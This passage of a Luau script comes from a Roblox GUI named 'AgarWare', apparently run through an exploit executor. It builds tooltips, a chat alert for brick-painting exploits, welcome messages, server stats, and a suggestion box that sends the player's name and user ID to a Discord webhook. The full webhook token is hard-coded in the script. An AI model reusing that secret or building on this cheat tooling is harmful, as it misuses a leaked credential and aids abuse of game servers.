	tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
	tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
	tooltipFrame.Visible = false
	tooltipFrame.Parent = script.Parent.Parent:FindFirstAncestorWhichIsA("ScreenGui")
	tooltipFrame.ClipsDescendants = true
	tooltipFrame.Active = false
	tooltipFrame.Selectable = false
	
	local tooltipStroke = Instance.new("UIStroke")
	tooltipStroke.Color = Color3.fromRGB(57, 57, 57)
	tooltipStroke.Thickness = 1
	tooltipStroke.Parent = tooltipFrame
	
	local tooltipPadding = Instance.new("UIPadding")
	tooltipPadding.PaddingTop = UDim.new(0, 6)
	tooltipPadding.PaddingBottom = UDim.new(0, 6)
	tooltipPadding.PaddingLeft = UDim.new(0, 6)
	tooltipPadding.PaddingRight = UDim.new(0, 6)
	tooltipPadding.Parent = tooltipFrame
	
	local tooltipText = Instance.new("TextLabel")
	tooltipText.BackgroundTransparency = 1
	tooltipText.Text = "Sends an alert in chat when someone exploits to paint the ReplicatedStorage.Brick."
	tooltipText.TextColor3 = Color3.new(1, 1, 1)
	tooltipText.TextSize = 14
	tooltipText.TextXAlignment = Enum.TextXAlignment.Left
	tooltipText.TextYAlignment = Enum.TextYAlignment.Top
	tooltipText.Font = Enum.Font.GothamSemibold
	tooltipText.TextWrapped = true
	tooltipText.Size = UDim2.new(0, 200, 0, 0)
	tooltipText.AutomaticSize = Enum.AutomaticSize.Y
	tooltipText.ZIndex = 101
	tooltipText.Parent = tooltipFrame
	
	RepPaintsTickBox.MouseEnter:Connect(function()
		local abs = RepPaintsTickBox.AbsolutePosition
		local size = RepPaintsTickBox.AbsoluteSize
		tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
		tooltipFrame.Visible = true
	end)
	RepPaintsTickBox.MouseLeave:Connect(function()
		tooltipFrame.Visible = false
	end)
	
	--------------------------------------------------
	-- SHARED STATE
	--------------------------------------------------
	shared.IsRestoringBKit = shared.IsRestoringBKit or false
	shared.RepPaintsDebounce = shared.RepPaintsDebounce or nil
	
	--------------------------------------------------
	-- HELPERS
	--------------------------------------------------
	local function sendChat(msg)
		if shared.sendChat then shared.sendChat(msg) end
	end
	
	--------------------------------------------------
	-- CLEAN MATERIALS
	--------------------------------------------------
	local CLEAN_MATERIALS = {
		["SmoothPlastic"] = true,
		["CeramicTiles"] = true,
		["Plastic"] = true,
		["Concrete"] = true,
	}
	
	local lastMaterial = repBrick.Material
	
	--------------------------------------------------
	-- ALERT HANDLER
	--------------------------------------------------
	local function onChangeConfirmed()
		if not RepPaintsTickBox:GetAttribute("Enabled") then return end
		if shared.IsRestoringBKit then return end
	
		sendChat("🚨A player exploited/painted bkit")
	end
	
	--------------------------------------------------
	-- DETERMINE IF CHANGE COUNTS
	--------------------------------------------------
	local function isChangeCounted()
		local mat = repBrick.Material
		local color = repBrick.Color
		local anchored = repBrick.Anchored
		local hasChildren = #repBrick:GetChildren() > 0
	
		-- ONLY ignore material change itself if Clean→Clean or Normal→Clean
		local materialChangeIgnored = (CLEAN_MATERIALS[lastMaterial.Name] and CLEAN_MATERIALS[mat.Name]) 
			or (not CLEAN_MATERIALS[lastMaterial.Name] and CLEAN_MATERIALS[mat.Name])
	
		lastMaterial = mat -- always update lastMaterial
	
		-- COUNT a change if ANY of these is true (OR logic)
		if materialChangeIgnored then
			return hasChildren or anchored == false or color ~= Color3.fromRGB(192,192,192) or not CLEAN_MATERIALS[mat.Name]
		else
			return true
		end
	end
	
	local function onBrickChanged()
		if not RepPaintsTickBox:GetAttribute("Enabled") then return end
		if shared.IsRestoringBKit then return end
	
		if isChangeCounted() then
			-- debounce alert
			if shared.RepPaintsDebounce then
				task.cancel(shared.RepPaintsDebounce)
			end
	
			shared.RepPaintsDebounce = task.delay(1, function()
				shared.RepPaintsDebounce = nil
				onChangeConfirmed()
			end)
		end
	end
	
	--------------------------------------------------
	-- MONITOR
	--------------------------------------------------
	local connections = {}
	
	local function startWatching()
		table.insert(connections, repBrick:GetPropertyChangedSignal("Color"):Connect(onBrickChanged))
		table.insert(connections, repBrick:GetPropertyChangedSignal("Material"):Connect(onBrickChanged))
		table.insert(connections, repBrick:GetPropertyChangedSignal("Anchored"):Connect(onBrickChanged))
		table.insert(connections, repBrick:GetPropertyChangedSignal("Size"):Connect(onBrickChanged))
		table.insert(connections, repBrick:GetPropertyChangedSignal("BrickColor"):Connect(onBrickChanged))
		table.insert(connections, repBrick.ChildAdded:Connect(onBrickChanged))
		table.insert(connections, repBrick.ChildRemoved:Connect(onBrickChanged))
	end
	
	local function stopWatching()
		for _, c in ipairs(connections) do
			pcall(function() c:Disconnect() end)
		end
		connections = {}
	
		if shared.RepPaintsDebounce then
			task.cancel(shared.RepPaintsDebounce)
			shared.RepPaintsDebounce = nil
		end
	end
	
	startWatching()
	
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			stopWatching()
		end
	end)
end;
task.spawn(C_2ae);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.PlayerAlertTooltip
local function C_2b2()
local script = G2L["2b2"];
	-- ============================================================
	-- PLAYER ALERT GROUP TOOLTIP SCRIPT
	-- ============================================================
	local PlayerAlertGroup = script.Parent
	
	-- ============================================================
	-- SCREENGUI HELPER
	-- ============================================================
	local function getScreenGui()
		local p = script.Parent
		while p do
			if p:IsA("ScreenGui") then
				return p
			end
			p = p.Parent
		end
	end
	
	local ScreenGui = getScreenGui()
	if not ScreenGui then return end
	
	-- ============================================================
	-- FIND UI REFERENCES
	-- ============================================================
	local function findDescendant(name)
		for _, v in pairs(ScreenGui:GetDescendants()) do
			if v.Name == name then
				return v
			end
		end
	end
	
	local WelcomeMSGHelp = findDescendant("WelcomeMSGHelp")
	local WelcomeTickBox = findDescendant("WelcomeTickBox")
	
	-- ============================================================
	-- TOOLTIP BUILDER
	-- ============================================================
	local function makeTooltip(text)
		local frame = Instance.new("Frame")
		frame.BackgroundColor3 = Color3.fromRGB(16,16,16)
		frame.BorderSizePixel = 0
		frame.ZIndex = 100
		frame.AutomaticSize = Enum.AutomaticSize.Y
		frame.Size = UDim2.new(0, 212, 0, 0)
		frame.Visible = false
		frame.Parent = ScreenGui
	
		local stroke = Instance.new("UIStroke")
		stroke.Color = Color3.fromRGB(57,57,57)
		stroke.Parent = frame
	
		local padding = Instance.new("UIPadding")
		padding.PaddingTop = UDim.new(0,6)
		padding.PaddingBottom = UDim.new(0,6)
		padding.PaddingLeft = UDim.new(0,6)
		padding.PaddingRight = UDim.new(0,6)
		padding.Parent = frame
	
		local label = Instance.new("TextLabel")
		label.BackgroundTransparency = 1
		label.Text = text
		label.TextColor3 = Color3.new(1,1,1)
		label.TextSize = 14
		label.TextXAlignment = Enum.TextXAlignment.Left
		label.TextYAlignment = Enum.TextYAlignment.Top
		label.Font = Enum.Font.GothamSemibold
		label.TextWrapped = true
		label.Size = UDim2.new(0,200,0,0)
		label.AutomaticSize = Enum.AutomaticSize.Y
		label.ZIndex = 101
		label.Parent = frame
	
		return frame
	end
	
	local function hookTooltip(button, tooltipFrame)
		if not button then return end
		button.MouseEnter:Connect(function()
			local abs = button.AbsolutePosition
			local size = button.AbsoluteSize
			tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
			tooltipFrame.Visible = true
		end)
		button.MouseLeave:Connect(function()
			tooltipFrame.Visible = false
		end)
	end
	
	-- ============================================================
	-- CREATE TOOLTIPS
	-- ============================================================
	local welcomeMsgHelpTooltip = makeTooltip(
		"Use (Username) or (Display) in your welcome message to insert the player's name.\n\nExample: 👋 (Display) joined!"
	)
	
	local welcomeTickBoxTooltip = makeTooltip(
		"Sends a welcome message in chat when a player joins the server."
	)
	
	-- ============================================================
	-- HOOK THEM
	-- ============================================================
	hookTooltip(WelcomeMSGHelp, welcomeMsgHelpTooltip)
	hookTooltip(WelcomeTickBox, welcomeTickBoxTooltip)
	
	-- ============================================================
	-- CLEANUP
	-- ============================================================
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			welcomeMsgHelpTooltip:Destroy()
			welcomeTickBoxTooltip:Destroy()
		end
	end)
end;
task.spawn(C_2b2);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.PlayerAlertScript
local function C_2b3()
local script = G2L["2b3"];
	local PlayerAlertGroup = script.Parent
	local PlayerAlertMinimize = PlayerAlertGroup.PlayerAlertTitle.PlayerAlertMinimize
	
	local function getRows()
		local rows = {}
		for _, child in ipairs(PlayerAlertGroup:GetChildren()) do
			if child:IsA("Frame") and string.find(child.Name, "Row") then
				table.insert(rows, child)
			end
		end
		return rows
	end
	
	local isMinimized = false
	local originalSize = PlayerAlertGroup.Size
	local minimizedSize = UDim2.new(0, 170, 0, 20)
	
	PlayerAlertMinimize.MouseButton1Click:Connect(function()
		isMinimized = not isMinimized
		local rows = getRows()
	
		if isMinimized then
			PlayerAlertGroup.Size = minimizedSize
			for _, row in ipairs(rows) do
				row.Visible = false
			end
			PlayerAlertMinimize.Text = "+"
		else
			PlayerAlertGroup.Size = originalSize
			for _, row in ipairs(rows) do
				row.Visible = true
			end
			PlayerAlertMinimize.Text = "-"
		end
	end)
end;
task.spawn(C_2b3);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.WelcomeRow.WelcomeScript
local function C_2b9()
local script = G2L["2b9"];
	-- WelcomeScript (goes in WelcomeRow)
	local Players = game:GetService("Players")
	local TextChatService = game:GetService("TextChatService")
	
	local WelcomeTickBox = script.Parent.WelcomeTickBox
	local PlayerAlertGroup = script.Parent.Parent
	local PlayerAlertAccentColor = PlayerAlertGroup.PlayerAlertAccentColor
	
	WelcomeTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	
	local function isEnabled()
		return WelcomeTickBox.BackgroundColor3 ~= Color3.new(0, 0, 0)
	end
	
	WelcomeTickBox.MouseButton1Click:Connect(function()
		if WelcomeTickBox.BackgroundColor3 == Color3.new(0, 0, 0) then
			WelcomeTickBox.BackgroundColor3 = PlayerAlertAccentColor.BackgroundColor3
		else
			WelcomeTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
		end
	end)
	
	Players.PlayerAdded:Connect(function(player)
		if not isEnabled() then return end
	
		local message = shared.WelcomeMessage or "👋 (Display) joined the server!"
	
		-- Replace placeholders (case insensitive)
		message = string.gsub(message, "%([Uu][Ss][Ee][Rr][Nn][Aa][Mm][Ee]%)", player.Name)
		message = string.gsub(message, "%([Dd][Ii][Ss][Pp][Ll][Aa][Yy]%)", player.DisplayName)
	
		-- Send to chat (NO semicolon)
		TextChatService.TextChannels.RBXGeneral:SendAsync(message)
	end)
end;
task.spawn(C_2b9);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.WelcomeMSGRow.WelcomeMSGScript
local function C_2bd()
local script = G2L["2bd"];
	-- WelcomeMSGScript (goes in WelcomeMSGRow)
	local WelcomeMSGChanger = script.Parent.WelcomeMSGChanger
	
	-- Set default message
	WelcomeMSGChanger.Text = "👋 (Display) joined the server!"
	
	-- Share the textbox content globally
	WelcomeMSGChanger:GetPropertyChangedSignal("Text"):Connect(function()
		shared.WelcomeMessage = WelcomeMSGChanger.Text
	end)
	
	-- Initialize
	shared.WelcomeMessage = WelcomeMSGChanger.Text
end;
task.spawn(C_2bd);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.OPENCONSOLE.LocalScript
local function C_2c1()
local script = G2L["2c1"];
	local StarterGui = game:GetService("StarterGui")
	
	-- The script's parent is the specific OPENCONSOLE button
	local button = script.Parent
	
	-- Ensure this is the exact button we want
	if button:IsA("TextButton") and button.Name == "OPENCONSOLE" then
		button.MouseButton1Click:Connect(function()
			-- Open the developer console
			pcall(function()
				StarterGui:SetCore("DevConsoleVisible", true)
			end)
		end)
	end
end;
task.spawn(C_2c1);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.ServerScript
local function C_2c6()
local script = G2L["2c6"];
	-- ============================================================
	-- SERVER GROUP MASTER SCRIPT
	-- Place this script directly under ServerGroup
	-- Handles minimize and all server stat displays
	-- ============================================================
	
	local Players = game:GetService("Players")
	local RunService = game:GetService("RunService")
	local HttpService = game:GetService("HttpService")
	
	local ServerGroup = script.Parent
	local ServerMinimize = ServerGroup.ServerTitle.ServerMinimize
	
	-- ============================================================
	-- MINIMIZE FUNCTIONALITY
	-- ============================================================
	local function getRows()
		local rows = {}
		for _, child in ipairs(ServerGroup:GetChildren()) do
			if child:IsA("Frame") and string.find(child.Name, "Row") then
				table.insert(rows, child)
			end
		end
		return rows
	end
	
	local isMinimized = false
	local originalSize = ServerGroup.Size
	local minimizedSize = UDim2.new(0, 170, 0, 20)
	
	ServerMinimize.MouseButton1Click:Connect(function()
		isMinimized = not isMinimized
		local rows = getRows()
	
		if isMinimized then
			ServerGroup.Size = minimizedSize
			for _, row in ipairs(rows) do
				row.Visible = false
			end
			ServerMinimize.Text = "+"
		else
			ServerGroup.Size = originalSize
			for _, row in ipairs(rows) do
				row.Visible = true
			end
			ServerMinimize.Text = "-"
		end
	end)
	
	-- ============================================================
	-- SERVER STAT SETUP FUNCTION
	-- Makes it easy to add new stats
	-- ============================================================
	local function setupStat(config)
		--[[
		config = {
			row = "LatencyRow",           -- Name of the row
			textLabel = "Text",            -- Name of the TextLabel inside the row
			updateFunction = function()   -- Function that returns the display text
				return "📶 Latency: 50ms"
			end,
			updateInterval = 0             -- 0 = every frame, or number of seconds
		}
		]]
	
		local rowName = config.row
		local textLabelName = config.textLabel or "Text"
		local updateFunction = config.updateFunction
		local updateInterval = config.updateInterval or 0
	
		local row = ServerGroup:FindFirstChild(rowName)
		if not row then
			warn("[ServerStat] Row not found:", rowName)
			return
		end
	
		local textLabel = row:FindFirstChild(textLabelName)
		if not textLabel then
			warn("[ServerStat] TextLabel not found:", textLabelName, "in", rowName)
			return
		end
	
		local function updateDisplay()
			if updateFunction then
				local success, result = pcall(updateFunction)
				if success and result then
					textLabel.Text = result
				end
			end
		end
	
		-- Initial update
		updateDisplay()
	
		-- Continuous updates
		if updateInterval == 0 then
			-- Update every frame
			RunService.Heartbeat:Connect(function()
				updateDisplay()
			end)
		else
			-- Update every X seconds
			task.spawn(function()
				while true do
					task.wait(updateInterval)
					updateDisplay()
				end
			end)
		end
	end
	
	-- ============================================================
	-- SERVER STATS DEFINITIONS
	-- Add your stats here using setupStat()
	-- ============================================================
	
	-- Latency (Ping)
	setupStat({
		row = "LatencyRow",
		updateFunction = function()
			local player = Players.LocalPlayer
			if player then
				local pingInSeconds = player:GetNetworkPing()
				local ping = math.round(pingInSeconds * 1000)
				return "📶 Latency: " .. ping .. "ms"
			end
			return "📶 Latency: 0ms"
		end,
		updateInterval = 0  -- Every frame
	})
	
	-- Players Count
	setupStat({
		row = "PlayersRow",
		updateFunction = function()
			local playerCount = #Players:GetPlayers()
			local maxPlayers = Players.MaxPlayers
			return string.format("👥 Players: %d/%d", playerCount, maxPlayers)
		end,
		updateInterval = 0  -- Every frame
	})
	
	-- Region
	local regionCode = "N/A"
	local function fetchRegion()
		local url = "http://ip-api.com/json/?fields=16394"
		local success, response = pcall(function()
			return HttpService:GetAsync(url)
		end)
	
		if success then
			local data = HttpService:JSONDecode(response)
			if data.status == "success" and data.countryCode then
				regionCode = data.countryCode
			else
				regionCode = "N/A"
			end
		else
			regionCode = "N/A"
		end
	end
	
	-- Fetch region immediately
	task.spawn(fetchRegion)
	
	setupStat({
		row = "RegionRow",
		updateFunction = function()
			return "🌐 Region: " .. regionCode
		end,
		updateInterval = 60  -- Update every 60 seconds
	})
	
	-- Uptime
	local serverStartTime = tick()
	
	local function formatUptime(seconds)
		local hours = math.floor(seconds / 3600)
		local minutes = math.floor((seconds % 3600) / 60)
		local secs = math.floor(seconds % 60)
		return string.format("%dh %dm %ds", hours, minutes, secs)
	end
	
	setupStat({
		row = "UptimeRow",
		updateFunction = function()
			local uptime = tick() - serverStartTime
			return "⌛ Uptime: " .. formatUptime(uptime)
		end,
		updateInterval = 0  -- Every frame
	})
	
	-- ============================================================
	-- ADD NEW STATS HERE - USE THIS TEMPLATE:
	-- ============================================================
	
	--[[
	TEMPLATE FOR SIMPLE STATS (updates every frame):
	
	setupStat({
		row = "YourRow",
		updateFunction = function()
			-- Your code to get the value
			local value = 123
			return "🔥 Your Stat: " .. value
		end
	})
	
	================================================================================
	
	TEMPLATE FOR SLOW STATS (updates every X seconds):
	
	setupStat({
		row = "YourRow",
		updateFunction = function()
			-- Your code to get the value
			local value = 456
			return "⚡ Your Stat: " .. value
		end,
		updateInterval = 5  -- Update every 5 seconds
	})
	
	================================================================================
	
	EXAMPLE - FPS Counter:
	
	setupStat({
		row = "FPSRow",
		updateFunction = function()
			local fps = math.round(1 / RunService.Heartbeat:Wait())
			return "🎮 FPS: " .. fps
		end
	})
	
	================================================================================
	
	EXAMPLE - Server Age:
	
	local serverCreatedTime = os.time()
	
	setupStat({
		row = "ServerAgeRow",
		updateFunction = function()
			local age = os.time() - serverCreatedTime
			local hours = math.floor(age / 3600)
			return "📅 Server Age: " .. hours .. "h"
		end,
		updateInterval = 60  -- Update every minute
	})
	
	================================================================================
	
	EXAMPLE - Memory Usage:
	
	setupStat({
		row = "MemoryRow",
		updateFunction = function()
			local memory = math.round(game:GetService("Stats"):GetTotalMemoryUsageMb())
			return "💾 Memory: " .. memory .. "MB"
		end,
		updateInterval = 2  -- Update every 2 seconds
	})
	
	================================================================================
	]]
	
	-- PASTE YOUR NEW STATS BELOW THIS LINE
	-- ============================================================
	
	
	
	
	-- ============================================================
	-- CLEANUP
	-- ============================================================
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			-- All connections auto-disconnect when script is destroyed
		end
	end)
end;
task.spawn(C_2c6);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup.SuggestionScript
local function C_2d4()
local script = G2L["2d4"];
	-- ============================================================
	-- SUGGESTION GROUP MASTER SCRIPT
	-- Place this script directly under SuggestionGroup
	-- Handles minimize, message sending with cooldown, and tooltips
	-- ============================================================
	
	local HttpService = game:GetService("HttpService")
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	
	local SuggestionGroup = script.Parent
	local SuggestionMinimize = SuggestionGroup.SuggestionTitle.SuggestionMinimize
	
	-- ============================================================
	-- SCREENGUI HELPER
	-- ============================================================
	local function getScreenGui()
		local p = SuggestionGroup
		while p do
			if p:IsA("ScreenGui") then return p end
			p = p.Parent
		end
		return game:GetService("CoreGui")
	end
	
	-- ============================================================
	-- TOOLTIP CREATOR
	-- ============================================================
	local function createTooltip(name, text, parent)
		local frame = Instance.new("Frame")
		frame.Name = name
		frame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
		frame.BorderSizePixel = 0
		frame.ZIndex = 100
		frame.AutomaticSize = Enum.AutomaticSize.Y
		frame.Size = UDim2.new(0, 212, 0, 0)
		frame.Visible = false
		frame.Parent = getScreenGui()
	
		local stroke = Instance.new("UIStroke")
		stroke.Color = Color3.fromRGB(57, 57, 57)
		stroke.Thickness = 1
		stroke.Parent = frame
	
		local padding = Instance.new("UIPadding")
		padding.PaddingTop = UDim.new(0, 6)
		padding.PaddingBottom = UDim.new(0, 6)
		padding.PaddingLeft = UDim.new(0, 6)
		padding.PaddingRight = UDim.new(0, 6)
		padding.Parent = frame
	
		local label = Instance.new("TextLabel")
		label.BackgroundTransparency = 1
		label.Text = text
		label.TextColor3 = Color3.new(1, 1, 1)
		label.TextSize = 14
		label.TextXAlignment = Enum.TextXAlignment.Left
		label.TextYAlignment = Enum.TextYAlignment.Top
		label.Font = Enum.Font.GothamSemibold
		label.TextWrapped = true
		label.Size = UDim2.new(0, 200, 0, 0)
		label.AutomaticSize = Enum.AutomaticSize.Y
		label.ZIndex = 101
		label.Parent = frame
	
		if parent then
			parent.MouseEnter:Connect(function()
				local abs = parent.AbsolutePosition
				local size = parent.AbsoluteSize
				frame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
				frame.Visible = true
			end)
	
			parent.MouseLeave:Connect(function()
				frame.Visible = false
			end)
		end
	
		return frame
	end
	
	-- ============================================================
	-- MINIMIZE FUNCTIONALITY
	-- ============================================================
	local function getRows()
		local rows = {}
		for _, child in ipairs(SuggestionGroup:GetChildren()) do
			if child:IsA("Frame") and string.find(child.Name, "Row") then
				table.insert(rows, child)
			end
		end
		return rows
	end
	
	local isMinimized = false
	local originalSize = SuggestionGroup.Size
	local minimizedSize = UDim2.new(0, 170, 0, 20)
	
	SuggestionMinimize.MouseButton1Click:Connect(function()
		isMinimized = not isMinimized
		local rows = getRows()
	
		if isMinimized then
			SuggestionGroup.Size = minimizedSize
			for _, row in ipairs(rows) do
				row.Visible = false
			end
			SuggestionMinimize.Text = "+"
		else
			SuggestionGroup.Size = originalSize
			for _, row in ipairs(rows) do
				row.Visible = true
			end
			SuggestionMinimize.Text = "-"
		end
	end)
	
	-- ============================================================
	-- WEBHOOK MESSAGE SENDER
	-- ============================================================
	local SendRow = SuggestionGroup:FindFirstChild("SendRow")
	if SendRow then
		local SendButton = SendRow:FindFirstChild("SendButton")
		local MessageRow = SuggestionGroup:FindFirstChild("MessageRow")
		local MessageBox = MessageRow and MessageRow:FindFirstChild("MessageBox")
	
		if SendButton and MessageBox then
			-- Configuration
			local WEBHOOK_URL = "https://discordapp.com/api/webhooks/1497976103569068174/SAvj1p0nxgZTqDMnDgcYKU2EPiQZrbkkhQo0Zcwwm3zZPhCkFohaCb6q5Bz9Aq-WJfI_"
			local COOLDOWN_TIME = 21600 -- 6 hours in seconds
			local SAVE_FILE = "webhook_cooldown.txt"
	
			local isCooldown = false
			local cooldownEnd = 0
	
			-- File handling
			local function readCooldown()
				local success, result = pcall(function()
					return readfile(SAVE_FILE)
				end)
				if success and result and result ~= "" then
					return tonumber(result) or 0
				end
				return 0
			end
	
			local function writeCooldown(timestamp)
				pcall(function()
					writefile(SAVE_FILE, tostring(timestamp))
				end)
			end
	
			-- Timer formatting
			local function formatTime(seconds)
				local hours = math.floor(seconds / 3600)
				local mins = math.floor((seconds % 3600) / 60)
				local secs = seconds % 60
				return string.format("%02d:%02d:%02d", hours, mins, secs)
			end
	
			-- Timer update loop
			local function updateTimer()
				while isCooldown do
					local remaining = math.max(0, cooldownEnd - tick())
					if remaining <= 0 then
						isCooldown = false
						SendButton.Text = "Send Message"
						writeCooldown(0)
					else
						SendButton.Text = formatTime(math.ceil(remaining))
					end
					task.wait(1)
				end
			end
	
			-- Send webhook
			local function sendWebhook()
				if isCooldown then return end
				if not MessageBox or MessageBox.Text == "" then return end
	
				local message = MessageBox.Text
				local displayName = LocalPlayer.DisplayName
				local username = LocalPlayer.Name
				local userId = LocalPlayer.UserId
	
				local embed = {
					title = string.format("%s / %s | `%s`", displayName, username, userId),
					description = message,
					color = tonumber("0xf2ff00"),
					footer = {
						text = "AGAR WARE"
					},
					timestamp = os.date("!%Y-%m-%dT%H:%M:%S")
				}
	
				local data = {
					embeds = {embed}
				}
	
				local success = pcall(function()
					request({
						Url = WEBHOOK_URL,
						Method = "POST",
						Headers = {
							["Content-Type"] = "application/json"
						},
						Body = HttpService:JSONEncode(data)
					})
				end)
	
				if success then
					-- Start cooldown
					isCooldown = true
					cooldownEnd = tick() + COOLDOWN_TIME
					writeCooldown(cooldownEnd)
	
					-- Clear message box
					MessageBox.Text = ""
	
					-- Start timer
					task.spawn(updateTimer)
				end
			end
	
			-- Load saved cooldown
			local function loadCooldown()
				local savedEnd = readCooldown()
				if savedEnd > tick() then
					isCooldown = true
					cooldownEnd = savedEnd
					task.spawn(updateTimer)
				else
					writeCooldown(0)
				end
			end
	
			-- Button click
			SendButton.MouseButton1Click:Connect(function()
				sendWebhook()
			end)
	
			-- Initialize
			loadCooldown()
		end
	end
	
	-- ============================================================
	-- TOOLTIP FOR HELP BUTTON
	-- ============================================================
	local SuggestHelpRow = SuggestionGroup:FindFirstChild("TitleRow")
	if SuggestHelpRow then
		local SuggestHelp = SuggestHelpRow:FindFirstChild("SuggestHelp")
	
		if SuggestHelp then
			createTooltip(
				"SuggestHelpTooltip",
				"Send suggestions or bug reports. You can send one message every 6 hours. All messages will be sent to the owner, please don't send any personal information.",
				SuggestHelp
			)
		end
	end
	
	-- ============================================================
	-- ADD MORE TOOLTIPS OR FEATURES HERE
	-- ============================================================
	
	--[[
	TEMPLATE FOR NEW TOOLTIP:
	
	local YourRow = SuggestionGroup:FindFirstChild("YourRow")
	if YourRow then
		local YourButton = YourRow:FindFirstChild("YourButton")
		
		if YourButton then
			createTooltip(
				"YourTooltipName",
				"Your tooltip text here",
				YourButton
			)
		end
	end
	
	================================================================================
	]]
	
	-- ============================================================
	-- CLEANUP
	-- ============================================================
	local tooltips = {}
	for _, tooltip in pairs(getScreenGui():GetChildren()) do
		if tooltip.Name:match("Tooltip") then
			table.insert(tooltips, tooltip)
		end
	end
	
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			for _, tooltip in pairs(tooltips) do
				tooltip:Destroy()
			end
		end
	end)
end;
task.spawn(C_2d4);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.V3.Script
local function C_2e1()
local script = G2L["2e1"];
	-- ============================================================
	-- SERVER GROUP MASTER SCRIPT
	-- Place this script directly under ServerGroup
	-- Handles minimize and all server stat displays
	-- ============================================================
	
	local Players = game:GetService("Players")
	local RunService = game:GetService("RunService")
	local HttpService = game:GetService("HttpService")
	
	local ServerGroup = script.Parent
	local ServerMinimize = ServerGroup.ServerTitle.ServerMinimize
	
	-- ============================================================
	-- MINIMIZE FUNCTIONALITY
	-- ============================================================
	local function getRows()
		local rows = {}
		for _, child in ipairs(ServerGroup:GetChildren()) do
			if child:IsA("Frame") and string.find(child.Name, "Row") then
				table.insert(rows, child)
			end
		end
		return rows
	end
	
	local isMinimized = false
	local originalSize = ServerGroup.Size
	local minimizedSize = UDim2.new(0, 170, 0, 20)
	
	ServerMinimize.MouseButton1Click:Connect(function()
		isMinimized = not isMinimized
		local rows = getRows()
	
		if isMinimized then
			ServerGroup.Size = minimizedSize
			for _, row in ipairs(rows) do
				row.Visible = false
			end
			ServerMinimize.Text = "+"
		else
			ServerGroup.Size = originalSize
			for _, row in ipairs(rows) do
				row.Visible = true
			end
			ServerMinimize.Text = "-"
		end
	end)
	
	-- ============================================================
	-- SERVER STAT SETUP FUNCTION
	-- Makes it easy to add new stats
	-- ============================================================
	local function setupStat(config)
		--[[
		config = {
			row = "LatencyRow",           -- Name of the row
			textLabel = "Text",            -- Name of the TextLabel inside the row
			updateFunction = function()   -- Function that returns the display text
				return "📶 Latency: 50ms"
			end,
			updateInterval = 0             -- 0 = every frame, or number of seconds
		}
		]]
	
		local rowName = config.row
		local textLabelName = config.textLabel or "Text"
		local updateFunction = config.updateFunction
		local updateInterval = config.updateInterval or 0
	
		local row = ServerGroup:FindFirstChild(rowName)
		if not row then
			warn("[ServerStat] Row not found:", rowName)
			return
		end
	
		local textLabel = row:FindFirstChild(textLabelName)
		if not textLabel then
			warn("[ServerStat] TextLabel not found:", textLabelName, "in", rowName)
			return
		end
	
		local function updateDisplay()
			if updateFunction then
				local success, result = pcall(updateFunction)
				if success and result then
					textLabel.Text = result
				end
			end
		end
	
		-- Initial update
		updateDisplay()
	
		-- Continuous updates
		if updateInterval == 0 then
			-- Update every frame
			RunService.Heartbeat:Connect(function()
				updateDisplay()
			end)
		else
			-- Update every X seconds
			task.spawn(function()
				while true do
					task.wait(updateInterval)
					updateDisplay()
				end
			end)
		end
	end
	
	-- ============================================================
	-- SERVER STATS DEFINITIONS
	-- Add your stats here using setupStat()
	-- ============================================================
	
	-- Latency (Ping)
	setupStat({
		row = "LatencyRow",
		updateFunction = function()
			local player = Players.LocalPlayer
			if player then
				local pingInSeconds = player:GetNetworkPing()
				local ping = math.round(pingInSeconds * 1000)
				return "📶 Latency: " .. ping .. "ms"
			end
			return "📶 Latency: 0ms"
		end,
		updateInterval = 0  -- Every frame
	})
	
	-- Players Count
	setupStat({
		row = "PlayersRow",
		updateFunction = function()
			local playerCount = #Players:GetPlayers()
			local maxPlayers = Players.MaxPlayers
			return string.format("👥 Players: %d/%d", playerCount, maxPlayers)
		end,
		updateInterval = 0  -- Every frame
	})
	
	-- Region
	local regionCode = "N/A"
	local function fetchRegion()
		local url = "http://ip-api.com/json/?fields=16394"
		local success, response = pcall(function()
			return HttpService:GetAsync(url)
		end)
	
		if success then
			local data = HttpService:JSONDecode(response)
			if data.status == "success" and data.countryCode then
				regionCode = data.countryCode
			else
				regionCode = "N/A"
			end
		else
			regionCode = "N/A"
		end
	end
	
	-- Fetch region immediately
	task.spawn(fetchRegion)
	
	setupStat({
		row = "RegionRow",
		updateFunction = function()
			return "🌐 Region: " .. regionCode
		end,
		updateInterval = 60  -- Update every 60 seconds
	})
	
	-- Uptime
	local serverStartTime = tick()
	
	local function formatUptime(seconds)
		local hours = math.floor(seconds / 3600)
		local minutes = math.floor((seconds % 3600) / 60)
		local secs = math.floor(seconds % 60)
		return string.format("%dh %dm %ds", hours, minutes, secs)
	end
	
	setupStat({
		row = "UptimeRow",
		updateFunction = function()
			local uptime = tick() - serverStartTime
			return "⌛ Uptime: " .. formatUptime(uptime)
		end,
		updateInterval = 0  -- Every frame
	})
	
	-- ============================================================
	-- ADD NEW STATS HERE - USE THIS TEMPLATE:
	-- ============================================================
	
	--[[
